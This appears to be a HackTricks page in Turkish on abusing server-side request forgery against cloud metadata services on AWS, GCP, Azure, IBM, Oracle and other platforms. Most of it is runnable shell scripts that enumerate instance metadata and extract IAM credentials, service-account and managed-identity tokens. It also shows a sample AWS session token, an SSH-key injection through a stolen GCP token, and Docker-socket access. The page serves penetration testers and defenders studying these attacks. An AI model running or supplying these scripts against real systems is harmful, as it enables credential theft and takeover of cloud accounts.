Cloud SSRF
Tip
AWS Hacking’i öğrenin ve pratik yapın:
HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın:HackTricks Training GCP Red Team Expert (GRTE)
Azure Hacking’i öğrenin ve pratik yapın:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks'i Destekleyin
- abonelik planlarını kontrol edin!
- 💬 Discord grubuna veya telegram grubuna katılın ya da Twitter’da bizi takip edin 🐦 @hacktricks_live.**
- Hacking ipuçlarını paylaşmak için HackTricks ve HackTricks Cloud github reposuna PR gönderin.
AWS
AWS EC2 environment içinde SSRF’yi abuse etmek
metadata endpoint’ine herhangi bir EC2 makinesinin içinden erişilebilir ve bu makine hakkında ilginç bilgiler sunar. http://169.254.169.254 adresinde erişilebilir (metadata hakkında bilgi burada).
metadata endpoint’inin 2 sürümü vardır. İlki, endpoint’e GET istekleriyle erişmeye izin verir (bu yüzden herhangi bir SSRF bunu exploit edebilir). İkinci sürüm için, IMDSv2, bir token istemeniz gerekir; bunun için HTTP header ile bir PUT isteği gönderilir, ardından bu token başka bir HTTP header ile metadata’ya erişmek için kullanılır (bu yüzden bir SSRF ile abuse etmesi daha karmaşıktır).
Caution
EC2 instance’ının IMDSv2’yi zorunlu tuttuğu durumda, docs’a göre, PUT isteğinin response’u bir hop limit of 1 değerine sahip olacaktır; bu da EC2 instance’ı içindeki bir container’dan EC2 metadata’ya erişmeyi imkansız hale getirir.
Ayrıca, IMDSv2
X-Forwarded-Forheader’ını içeren token alma isteklerini de block eder. Bu, yanlış yapılandırılmış reverse proxy’lerin buna erişebilmesini önlemek içindir.
docs’taki metadata endpoints hakkında bilgi bulabilirsiniz. Aşağıdaki script’te bundan bazı ilginç bilgiler elde edilir:
EC2_TOKEN=$(curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600" 2>/dev/null || wget -q -O - --method PUT "http://169.254.169.254/latest/api/token" --header "X-aws-ec2-metadata-token-ttl-seconds: 21600" 2>/dev/null)
HEADER="X-aws-ec2-metadata-token: $EC2_TOKEN"
URL="http://169.254.169.254/latest/meta-data"
aws_req=""
if [ "$(command -v curl)" ]; then
aws_req="curl -s -f -H '$HEADER'"
elif [ "$(command -v wget)" ]; then
aws_req="wget -q -O - -H '$HEADER'"
else
echo "Neither curl nor wget were found, I can't enumerate the metadata service :("
fi
printf "ami-id: "; eval $aws_req "$URL/ami-id"; echo ""
printf "instance-action: "; eval $aws_req "$URL/instance-action"; echo ""
printf "instance-id: "; eval $aws_req "$URL/instance-id"; echo ""
printf "instance-life-cycle: "; eval $aws_req "$URL/instance-life-cycle"; echo ""
printf "instance-type: "; eval $aws_req "$URL/instance-type"; echo ""
printf "region: "; eval $aws_req "$URL/placement/region"; echo ""
echo ""
echo "Account Info"
eval $aws_req "$URL/identity-credentials/ec2/info"; echo ""
eval $aws_req "http://169.254.169.254/latest/dynamic/instance-identity/document"; echo ""
echo ""
echo "Network Info"
for mac in $(eval $aws_req "$URL/network/interfaces/macs/" 2>/dev/null); do
echo "Mac: $mac"
printf "Owner ID: "; eval $aws_req "$URL/network/interfaces/macs/$mac/owner-id"; echo ""
printf "Public Hostname: "; eval $aws_req "$URL/network/interfaces/macs/$mac/public-hostname"; echo ""
printf "Security Groups: "; eval $aws_req "$URL/network/interfaces/macs/$mac/security-groups"; echo ""
echo "Private IPv4s:"; eval $aws_req "$URL/network/interfaces/macs/$mac/ipv4-associations/"; echo ""
printf "Subnet IPv4: "; eval $aws_req "$URL/network/interfaces/macs/$mac/subnet-ipv4-cidr-block"; echo ""
echo "PrivateIPv6s:"; eval $aws_req "$URL/network/interfaces/macs/$mac/ipv6s"; echo ""
printf "Subnet IPv6: "; eval $aws_req "$URL/network/interfaces/macs/$mac/subnet-ipv6-cidr-blocks"; echo ""
echo "Public IPv4s:"; eval $aws_req "$URL/network/interfaces/macs/$mac/public-ipv4s"; echo ""
echo ""
done
echo ""
echo "IAM Role"
eval $aws_req "$URL/iam/info"
for role in $(eval $aws_req "$URL/iam/security-credentials/" 2>/dev/null); do
echo "Role: $role"
eval $aws_req "$URL/iam/security-credentials/$role"; echo ""
echo ""
done
echo ""
echo "User Data"
# Search hardcoded credentials
eval $aws_req "http://169.254.169.254/latest/user-data"
echo ""
echo "EC2 Security Credentials"
eval $aws_req "$URL/identity-credentials/ec2/security-credentials/ec2-instance"; echo ""
Genel olarak erişilebilir IAM credentials ortaya çıkmış örnek olarak şurayı ziyaret edebilirsiniz: http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/iam/security-credentials/flaws
Ayrıca genel EC2 security credentials bilgilerini de şurada kontrol edebilirsiniz: http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance
Ardından bu credentials’ları alıp AWS CLI ile kullanabilirsiniz. Bu, o role verilen izinlerin yapabildiği her şeyi yapmanıza olanak tanır.
Yeni credentials’lardan yararlanmak için, bunun gibi yeni bir AWS profile oluşturmanız gerekir:
[profilename]
aws_access_key_id = ASIA6GG71[...]
aws_secret_access_key = a5kssI2I4H/atUZOwBr5Vpggd9CxiT[...]
aws_session_token = AgoJb3JpZ2luX2VjEGcaCXVzLXdlc3QtMiJHMEUCIHgCnKJl8fwc+0iaa6n4FsgtWaIikf5mSSoMIWsUGMb1AiEAlOiY0zQ31XapsIjJwgEXhBIW3u/XOfZJTrvdNe4rbFwq2gMIYBAAGgw5NzU0MjYyNjIwMjkiDCvj4qbZSIiiBUtrIiq3A8IfXmTcebRDxJ9BGjNwLbOYDlbQYXBIegzliUez3P/fQxD3qDr+SNFg9w6WkgmDZtjei6YzOc/a9TWgIzCPQAWkn6BlXufS+zm4aVtcgvBKyu4F432AuT4Wuq7zrRc+42m3Z9InIM0BuJtzLkzzbBPfZAz81eSXumPdid6G/4v+o/VxI3OrayZVT2+fB34cKujEOnBwgEd6xUGUcFWb52+jlIbs8RzVIK/xHVoZvYpY6KlmLOakx/mOyz1tb0Z204NZPJ7rj9mHk+cX/G0BnYGIf8ZA2pyBdQyVbb1EzV0U+IPlI+nkIgYCrwTCXUOYbm66lj90frIYG0x2qI7HtaKKbRM5pcGkiYkUAUvA3LpUW6LVn365h0uIbYbVJqSAtjxUN9o0hbQD/W9Y6ZM0WoLSQhYt4jzZiWi00owZJjKHbBaQV6RFwn5mCD+OybS8Y1dn2lqqJgY2U78sONvhfewiohPNouW9IQ7nPln3G/dkucQARa/eM/AC1zxLu5nt7QY8R2x9FzmKYGLh6sBoNO1HXGzSQlDdQE17clcP+hrP/m49MW3nq/A7WHIczuzpn4zv3KICLPIw2uSc7QU6tAEln14bV0oHtHxqC6LBnfhx8yaD9C71j8XbDrfXOEwdOy2hdK0M/AJ3CVe/mtxf96Z6UpqVLPrsLrb1TYTEWCH7yleN0i9koRQDRnjntvRuLmH2ERWLtJFgRU2MWqDNCf2QHWn+j9tYNKQVVwHs3i8paEPyB45MLdFKJg6Ir+Xzl2ojb6qLGirjw8gPufeCM19VbpeLPliYeKsrkrnXWO0o9aImv8cvIzQ8aS1ihqOtkedkAsw=
aws_session_token’a dikkat edin, bu profile’ın çalışması için vazgeçilmezdir.
PACU, bulunan credentials ile yetkilerinizi öğrenmek ve privileges yükseltmeyi denemek için kullanılabilir
SSRF in AWS ECS (Container Service) credentials
ECS, EC2 instance’larının mantıksal bir grubudur; kendi cluster management altyapınızı ölçeklemek zorunda kalmadan üzerinde bir application çalıştırabilirsiniz çünkü ECS bunu sizin için yönetir. Eğer ECS içinde çalışan service’i compromise etmeyi başarırsanız, metadata endpoints değişir.
http://169.254.170.2/v2/credentials/<GUID> adresine erişirseniz ECS makinesinin credentials bilgisini bulursunuz. Ama önce <GUID>’yi bulmanız gerekir. <GUID>’yi bulmak için makine içindeki environ variable AWS_CONTAINER_CREDENTIALS_RELATIVE_URI’yi okumanız gerekir.
Bunu, file:///proc/self/environ için bir Path Traversal exploit ederek okuyabilirsiniz
Bahsedilen http address size AccessKey, SecretKey ve token’ı vermelidir.
curl "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" 2>/dev/null || wget "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" -O -
Tip
Not edin ki bazı durumlarda container içinden EC2 metadata instance erişimi mümkün olacaktır (daha önce belirtilen IMDSv2 TTL sınırlamalarını kontrol edin). Bu senaryolarda container içinden hem container IAM role hem de EC2 IAM role erişebilirsiniz.
SSRF in AWS EKS Pod Identity credentials
Son EKS clusters, eski ECS-style relative URI akışı yerine Pod Identity kullanabilir. Bu podlarda, EKS şunları enjekte eder:
AWS_CONTAINER_CREDENTIALS_FULL_URI=http://169.254.170.23/v1/credentialsAWS_CONTAINER_AUTHORIZATION_TOKEN_FILE=/var/run/secrets/pods.eks.amazonaws.com/serviceaccount/eks-pod-identity-token
Bu nedenle, env vars veya projekte edilmiş service account token file okuyabilen bir SSRF/LFI, çoğu zaman bu dosyadaki authorization token ile local credential endpoint’e sorgu göndererek pod IAM credentials bilgilerini geri alabilir:
# Common discovery primitives
cat /proc/self/environ | tr '\\0' '\\n' | grep '^AWS_CONTAINER_'
ls -l /var/run/secrets/pods.eks.amazonaws.com/serviceaccount/
# Use the projected token to query the local Pod Identity credential endpoint
AUTH_HEADER=$(cat "$AWS_CONTAINER_AUTHORIZATION_TOKEN_FILE")
curl -s -H "Authorization: $AUTH_HEADER" "$AWS_CONTAINER_CREDENTIALS_FULL_URI"
Bu, özellikle pod’lar içinde çalışan ve bir SSRF ile local file read primitive sunan EKS webhooks, templating services veya URL fetchers için çok kullanışlıdır. Response, AWS CLI veya Pacu gibi tooling’lerle yeniden kullanılabilen geçici AWS credentials içerir.
SSRF for AWS Lambda
Bu durumda credentials env variables içinde saklanır. Bu yüzden onlara erişmek için file:///proc/self/environ gibi bir yere erişmen gerekir.
İlginç env variables’ların name’i şunlardır:
AWS_SESSION_TOKENAWS_SECRET_ACCESS_KEYAWS_ACCESS_KEY_ID
Ayrıca, IAM credentials’a ek olarak, Lambda functions başlatıldıklarında function’a iletilen event data’ya da sahiptir. Bu data, runtime interface aracılığıyla function için erişilebilir hale getirilir ve sensitive information içerebilir (örneğin stageVariables içinde). IAM credentials’ın aksine, bu data standart SSRF üzerinden http://localhost:9001/2018-06-01/runtime/invocation/next adresinde erişilebilir.
Warning
Unutma ki lambda credentials env variables içindedir. Bu yüzden lambda code’unun stack trace’i env vars yazdırıyorsa, app içinde bir error tetikleyerek onları exfiltrate etmek mümkündür.
SSRF URL for AWS Elastic Beanstalk
API’den accountId ve region bilgilerini alırız.
http://169.254.169.254/latest/dynamic/instance-identity/document
http://169.254.169.254/latest/meta-data/iam/security-credentials/aws-elasticbeanorastalk-ec2-role
Daha sonra API’den AccessKeyId, SecretAccessKey ve Token bilgilerini alırız.
http://169.254.169.254/latest/meta-data/iam/security-credentials/aws-elasticbeanorastalk-ec2-role
Sonra kimlik bilgilerini aws s3 ls s3://elasticbeanstalk-us-east-2-[ACCOUNT_ID]/ ile kullanırız.
GCP
metadata endpoints hakkında dokümanları burada bulabilirsiniz.
Google Cloud için SSRF URL’si
Metadata-Flavor: Google HTTP başlığını gerektirir ve metadata endpoint’ine aşağıdaki URL’lerle erişebilirsiniz:
Bilgi çıkarmak için ilginç endpoint’ler:
# /project
# Project name and number
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/project/project-id
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/project/numeric-project-id
# Project attributes
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/project/attributes/?recursive=true
# /oslogin
# users
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/oslogin/users
# groups
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/oslogin/groups
# security-keys
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/oslogin/security-keys
# authorize
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/oslogin/authorize
# /instance
# Description
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/instance/description
# Hostname
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/instance/hostname
# ID
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/instance/id
# Image
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/instance/image
# Machine Type
curl -s -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/machine-type
# Name
curl -s -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/name
# Tags
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/scheduling/tags
# Zone
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/zone
# User data
curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/attributes/startup-script"
# Network Interfaces
for iface in $(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/network-interfaces/"); do
echo " IP: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/network-interfaces/$iface/ip")
echo " Subnetmask: "$(curl -s -f -H "X-Google-Metadata-Request: True" "http://metadata/computeMetadata/v1/instance/network-interfaces/$iface/subnetmask")
echo " Gateway: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/network-interfaces/$iface/gateway")
echo " DNS: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/network-interfaces/$iface/dns-servers")
echo " Network: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/network-interfaces/$iface/network")
echo " ============== "
done
# Service Accounts
for sa in $(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/"); do
echo " Name: $sa"
echo " Email: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}email")
echo " Aliases: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}aliases")
echo " Identity: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}identity")
echo " Scopes: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}scopes")
echo " Token: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}token")
echo " ============== "
done
# K8s Attributtes
## Cluster location
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/attributes/cluster-location
## Cluster name
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/attributes/cluster-name
## Os-login enabled
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/attributes/enable-oslogin
## Kube-env
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/attributes/kube-env
## Kube-labels
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/attributes/kube-labels
## Kubeconfig
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/attributes/kubeconfig
# All custom project attributes
curl "http://metadata.google.internal/computeMetadata/v1/project/attributes/?recursive=true&alt=text" \
-H "Metadata-Flavor: Google"
# All custom project attributes instance attributes
curl "http://metadata.google.internal/computeMetadata/v1/instance/attributes/?recursive=true&alt=text" \
-H "Metadata-Flavor: Google"
Beta şu anda bir header gerektirmiyor (teşekkürler Mathias Karlsson @avlidienbrunn)
http://metadata.google.internal/computeMetadata/v1beta1/
http://metadata.google.internal/computeMetadata/v1beta1/?recursive=true
Caution
Çıkartılan service account token kullanmak için şunu yapabilirsin:
# Via env vars export CLOUDSDK_AUTH_ACCESS_TOKEN=<token> gcloud projects list # Via setup echo "<token>" > /some/path/to/token gcloud config set auth/access_token_file /some/path/to/token gcloud projects list gcloud config unset auth/access_token_file
Add an SSH key
Tokenı çıkartın
http://metadata.google.internal/computeMetadata/v1beta1/instance/service-accounts/default/token?alt=json
Tokenun scope’unu kontrol et (önceki çıktı ile veya aşağıdakini çalıştırarak)
curl https://www.googleapis.com/oauth2/v1/tokeninfo?access_token=ya29.XXXXXKuXXXXXXXkGT0rJSA {
"issued_to": "101302079XXXXX",
"audience": "10130207XXXXX",
"scope": "https://www.googleapis.com/auth/compute https://www.googleapis.com/auth/logging.write https://www.googleapis.com/auth/devstorage.read_write https://www.googleapis.com/auth/monitoring",
"expires_in": 2443,
"access_type": "offline"
}
SSH anahtarını şimdi gönder.
curl -X POST "https://www.googleapis.com/compute/v1/projects/1042377752888/setCommonInstanceMetadata"
-H "Authorization: Bearer ya29.c.EmKeBq9XI09_1HK1XXXXXXXXT0rJSA"
-H "Content-Type: application/json"
--data '{"items": [{"key": "sshkeyname", "value": "sshkeyvalue"}]}'
Cloud Functions
metadata endpoint, VMs’deki ile aynı şekilde çalışır ancak bazı endpoints olmadan:
# /project
# Project name and number
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/project/project-id
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/project/numeric-project-id
# /instance
# ID
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/instance/id
# Zone
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/zone
# Auto MTLS config
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/instance/platform-security/auto-mtls-configuration
# Service Accounts
for sa in $(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/"); do
echo " Name: $sa"
echo " Email: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}email")
echo " Aliases: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}aliases")
echo " Identity: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}identity")
echo " Scopes: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}scopes")
echo " Token: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}token")
echo " ============== "
done
Cloud Run / Cloud Functions 2nd gen
Cloud Run ve 2nd generation Cloud Functions için, genellikle metadata server’dan sadece OAuth access token’ı değil, aynı zamanda audience-bound identity token çalmak da daha ilginçtir. Bu, ele geçirilmiş workload private Cloud Run services, IAP-protected backends veya Google tarafından verilmiş ID token’ları doğrulayan herhangi bir servise ulaşabildiğinde faydalıdır.
# OAuth access token for the attached service account
curl -s -H "Metadata-Flavor: Google" \
"http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token"
# Audience-bound identity token
curl -s -H "Metadata-Flavor: Google" \
"http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/identity?audience=https://TARGET-REGION-PROJECT.run.app"
Tip
identityendpointi biraudienceparametresi gerektirir. Gerçek operasyonlarda bu genellikle,tokenagainst SSRF kanıtladıktan sonra, internal service URL’lerini enumerate etmeniz ve ardından target service’in beklediği tam audience ile ikinci bir token request etmeniz gerektiği anlamına gelir.
Digital Ocean
Warning
AWS Roles veya GCP service account gibi şeyler yok, bu yüzden metadata bot credentials bulmayı beklemeyin
Documentation available at https://developers.digitalocean.com/documentation/metadata/
curl http://169.254.169.254/metadata/v1/id
http://169.254.169.254/metadata/v1.json
http://169.254.169.254/metadata/v1/
http://169.254.169.254/metadata/v1/id
http://169.254.169.254/metadata/v1/user-data
http://169.254.169.254/metadata/v1/hostname
http://169.254.169.254/metadata/v1/region
http://169.254.169.254/metadata/v1/interfaces/public/0/ipv6/addressAll in one request:
curl http://169.254.169.254/metadata/v1.json | jq
Azure
Azure VM
- Must header
Metadata: trueiçermelidir X-Forwarded-Forheader’ı içermemelidir
Tip
Bir Azure VM, bağlı 1 system managed identity ve birkaç user managed identity’ye sahip olabilir. Bu da pratikte, bir VM’ye bağlı tüm managed identities’leri impersonate edebileceğiniz anlamına gelir.
Metadata endpoint’ine access token isterken, varsayılan olarak metadata service token üretmek için system assigned managed identity’yi kullanır, eğer bir system assigned managed identity varsa. Eğer yalnızca BİR user assigned managed identity varsa, bu varsayılan olarak kullanılır. Ancak, system assigned managed identity yoksa ve birden fazla user assigned managed identity varsa, metadata service birden fazla managed identity olduğunu belirten bir hata döndürür ve hangisinin kullanılacağını belirtmek gerekir.
Ne yazık ki bir VM’nin bağlı tüm MI’larını gösteren bir metadata endpoint bulamadım, bu yüzden bir VM’ye atanmış tüm managed identities’leri öğrenmek Red Team açısından zor bir iş olabilir.
Bu nedenle, bağlı tüm MI’ları bulmak için şunları yapabilirsiniz:
- az cli ile bağlı identities alın (eğer Azure tenant’ında
Microsoft.Compute/virtualMachines/readiznine sahip bir principal’ı zaten compromised ettiyseniz)az vm identity show \ --resource-group <rsc-group> \ --name <vm-name>
- metadata’daki varsayılan bağlı MI kullanarak attached identities alın:
export API_VERSION="2021-12-13" # Get token from default MI export TOKEN=$(curl -s -H "Metadata:true" \ "http://169.254.169.254/metadata/identity/oauth2/token?api-version=$API_VERSION&resource=https://management.azure.com/" \ | jq -r '.access_token') # Get needed details export SUBSCRIPTION_ID=$(curl -s -H "Metadata:true" \ "http://169.254.169.254/metadata/instance?api-version=$API_VERSION" | jq -r '.compute.subscriptionId') export RESOURCE_GROUP=$(curl -s -H "Metadata:true" \ "http://169.254.169.254/metadata/instance?api-version=$API_VERSION" | jq -r '.compute.resourceGroupName') export VM_NAME=$(curl -s -H "Metadata:true" \ "http://169.254.169.254/metadata/instance?api-version=$API_VERSION" | jq -r '.compute.name') # Try to get attached MIs curl -s -H "Authorization: Bearer $TOKEN" \ "https://management.azure.com/subscriptions/$SUBSCRIPTION_ID/resourceGroups/$RESOURCE_GROUP/providers/Microsoft.Compute/virtualMachines/$VM_NAME?api-version=$API_VERSION" | jq
- Tenant’te tanımlı tüm managed identities’leri get all edip VM’ye bağlı olup olmadıklarını görmek için brute force yapın (
Microsoft.ManagedIdentity/userAssignedIdentities/readizni gerekir):az identity list
Caution
Token isteklerinde, kullanmak istediğiniz managed identity’yi belirtmek için
object_id,client_idveyamsi_res_idparametrelerinden herhangi birini kullanın (docs). Hiçbiri verilmezse, default MI kullanılacaktır.
HEADER="Metadata:true"
URL="http://169.254.169.254/metadata"
API_VERSION="2021-12-13" #https://learn.microsoft.com/en-us/azure/virtual-machines/instance-metadata-service?tabs=linux#supported-api-versions
echo "Instance details"
curl -s -f -H "$HEADER" "$URL/instance?api-version=$API_VERSION"
echo "Load Balancer details"
curl -s -f -H "$HEADER" "$URL/loadbalancer?api-version=$API_VERSION"
echo "Management Token"
curl -s -f -H "$HEADER" "$URL/identity/oauth2/token?api-version=$API_VERSION&resource=https://management.azure.com/"
echo "Graph token"
curl -s -f -H "$HEADER" "$URL/identity/oauth2/token?api-version=$API_VERSION&resource=https://graph.microsoft.com/"
echo "Vault token"
curl -s -f -H "$HEADER" "$URL/identity/oauth2/token?api-version=$API_VERSION&resource=https://vault.azure.net/"
echo "Storage token"
curl -s -f -H "$HEADER" "$URL/identity/oauth2/token?api-version=$API_VERSION&resource=https://storage.azure.com/"
Warning
Note that the endpoint
http://169.254.169.254/metadata/v1/instanceinfodoesn’t require theMetadata: Trueheader which is great to show impact in SSRF vulnerabilities in Azure were you cannot add this header.
Azure App & Functions Services & Automation Accounts
From the env you can get the values of IDENTITY_HEADER and IDENTITY_ENDPOINT. That you can use to gather a token to speak with the metadata server.
Most of the time, you want a token for one of these resources:
- https://storage.azure.com
- https://vault.azure.net
- https://graph.microsoft.com
- https://management.azure.com
Caution
Token isteklerinde kullanmak istediğiniz managed identity’yi belirtmek için
object_id,client_idveyamsi_res_idparametrelerinden herhangi birini kullanın (docs). Hiçbiri verilmezse, default MI kullanılacaktır.
# Check for those env vars to know if you are in an Azure app
echo $IDENTITY_HEADER
echo $IDENTITY_ENDPOINT
# (Fingerprint) You should also be able to find the folder:
ls /opt/microsoft
# Get management token
curl "$IDENTITY_ENDPOINT?resource=https://management.azure.com/&api-version=2019-08-01" -H "X-IDENTITY-HEADER:$IDENTITY_HEADER"
# Get graph token
curl "$IDENTITY_ENDPOINT?resource=https://graph.microsoft.com/&api-version=2019-08-01" -H "X-IDENTITY-HEADER:$IDENTITY_HEADER"
# Get vault token
curl "$IDENTITY_ENDPOINT?resource=https://vault.azure.net/&api-version=2019-08-01" -H "X-IDENTITY-HEADER:$IDENTITY_HEADER"
# Get storage token
curl "$IDENTITY_ENDPOINT?resource=https://storage.azure.com/&api-version=2019-08-01" -H "X-IDENTITY-HEADER:$IDENTITY_HEADER"
IBM Cloud
Warning
IBM’de varsayılan olarak metadata etkin değildir, bu yüzden bir IBM cloud VM içinde olsanız bile ona erişemeyebilirsiniz.
export instance_identity_token=`curl -s -X PUT "http://169.254.169.254/instance_identity/v1/token?version=2022-03-01"\
-H "Metadata-Flavor: ibm"\
-H "Accept: application/json"\
-d '{
"expires_in": 3600
}' | jq -r '(.access_token)'`
# Get instance details
curl -s -H "Accept: application/json" -H "Authorization: Bearer $instance_identity_token" -X GET "http://169.254.169.254/metadata/v1/instance?version=2022-03-01" | jq
# Get SSH keys info
curl -s -X GET -H "Accept: application/json" -H "Authorization: Bearer $instance_identity_token" "http://169.254.169.254/metadata/v1/keys?version=2022-03-01" | jq
# Get SSH keys fingerprints & user data
curl -s -X GET -H "Accept: application/json" -H "Authorization: Bearer $instance_identity_token" "http://169.254.169.254/metadata/v1/instance/initialization?version=2022-03-01" | jq
# Get placement groups
curl -s -X GET -H "Accept: application/json" -H "Authorization: Bearer $instance_identity_token" "http://169.254.169.254/metadata/v1/placement_groups?version=2022-03-01" | jq
# Get IAM credentials
curl -s -X POST -H "Accept: application/json" -H "Authorization: Bearer $instance_identity_token" "http://169.254.169.254/instance_identity/v1/iam_token?version=2022-03-01" | jq
Çeşitli platformların metadata services için dokümantasyon aşağıda özetlenmiştir; instance’lar için configuration ve runtime bilgisinin hangi yöntemlerle erişilebildiği vurgulanmaktadır. Her platform, metadata services’e erişmek için benzersiz endpoint’ler sunar.
Packetcloud
Packetcloud metadata’sına erişim için dokümantasyon burada bulunabilir: https://metadata.packet.net/userdata
OpenStack/RackSpace
Bir header gerekliliği belirtilmemiştir. Metadata şu yolla erişilebilir:
http://169.254.169.254/openstack
HP Helion
Burada da bir header gerekliliği belirtilmemiştir. Metadata şu adreste erişilebilir:
http://169.254.169.254/2009-04-04/meta-data/
Oracle Cloud
Oracle Cloud Infrastructure, eski /latest/ örneklerinden bugün çok daha alakalı olan bir IMDSv2 moduna sahiptir. IMDSv2’de:
- Request’ler
http://169.254.169.254/opc/v2/adresine gider - Request’ler
Authorization: Bearer Oracleheader’ını içermelidir Forwarded,X-Forwarded-ForveyaX-Forwarded-Hostiçeren request’ler reddedilir- Instance yalnızca IMDSv2’ye izin verecek şekilde yapılandırılmışsa, eski
/opc/v1ve/openstackpath’leri404döner
İlginç endpoint’ler:
curl -s -H "Authorization: Bearer Oracle" \
http://169.254.169.254/opc/v2/instance/
curl -s -H "Authorization: Bearer Oracle" \
http://169.254.169.254/opc/v2/vnics/
Yani, bir SSRF perspektifinden bakıldığında, OCI artık zorlaştırılmış cloud metadata servislerine çok daha yakın davranıyor; bu servisler mandatory header gerektirir ve yaygın forwarded-header proxy patterns’i açıkça reddeder.
Alibaba
Alibaba, metadata erişimi için endpoint’ler sunar; buna instance ve image ID’leri dahildir:
http://100.100.100.200/latest/meta-data/http://100.100.100.200/latest/meta-data/instance-idhttp://100.100.100.200/latest/meta-data/image-id
Kubernetes ETCD
Kubernetes ETCD, API keys, internal IP addresses ve ports tutabilir. Erişim şu şekilde gösterilir:
curl -L http://127.0.0.1:2379/versioncurl http://127.0.0.1:2379/v2/keys/?recursive=true
Docker
Docker metadata’sına lokal olarak erişilebilir; container ve image bilgilerini almak için örnekler verilmiştir:
- Docker socket üzerinden containers ve images metadata’sına erişmek için basit örnek:
docker run -ti -v /var/run/docker.sock:/var/run/docker.sock bash- Container içinde, Docker socket ile curl kullanın:
curl --unix-socket /var/run/docker.sock http://foo/containers/jsoncurl --unix-socket /var/run/docker.sock http://foo/images/json
Rancher
Rancher metadata’sına şu şekilde erişilebilir:
curl http://rancher-metadata/<version>/<path>
References
- AWS SDKs and Tools Reference Guide - Container credential provider
- Oracle Cloud Infrastructure - Instance Metadata Service v2
Tip
AWS Hacking’i öğrenin ve pratik yapın:
HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın:HackTricks Training GCP Red Team Expert (GRTE)
Azure Hacking’i öğrenin ve pratik yapın:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks'i Destekleyin
- abonelik planlarını kontrol edin!
- 💬 Discord grubuna veya telegram grubuna katılın ya da Twitter’da bizi takip edin 🐦 @hacktricks_live.**
- Hacking ipuçlarını paylaşmak için HackTricks ve HackTricks Cloud github reposuna PR gönderin.


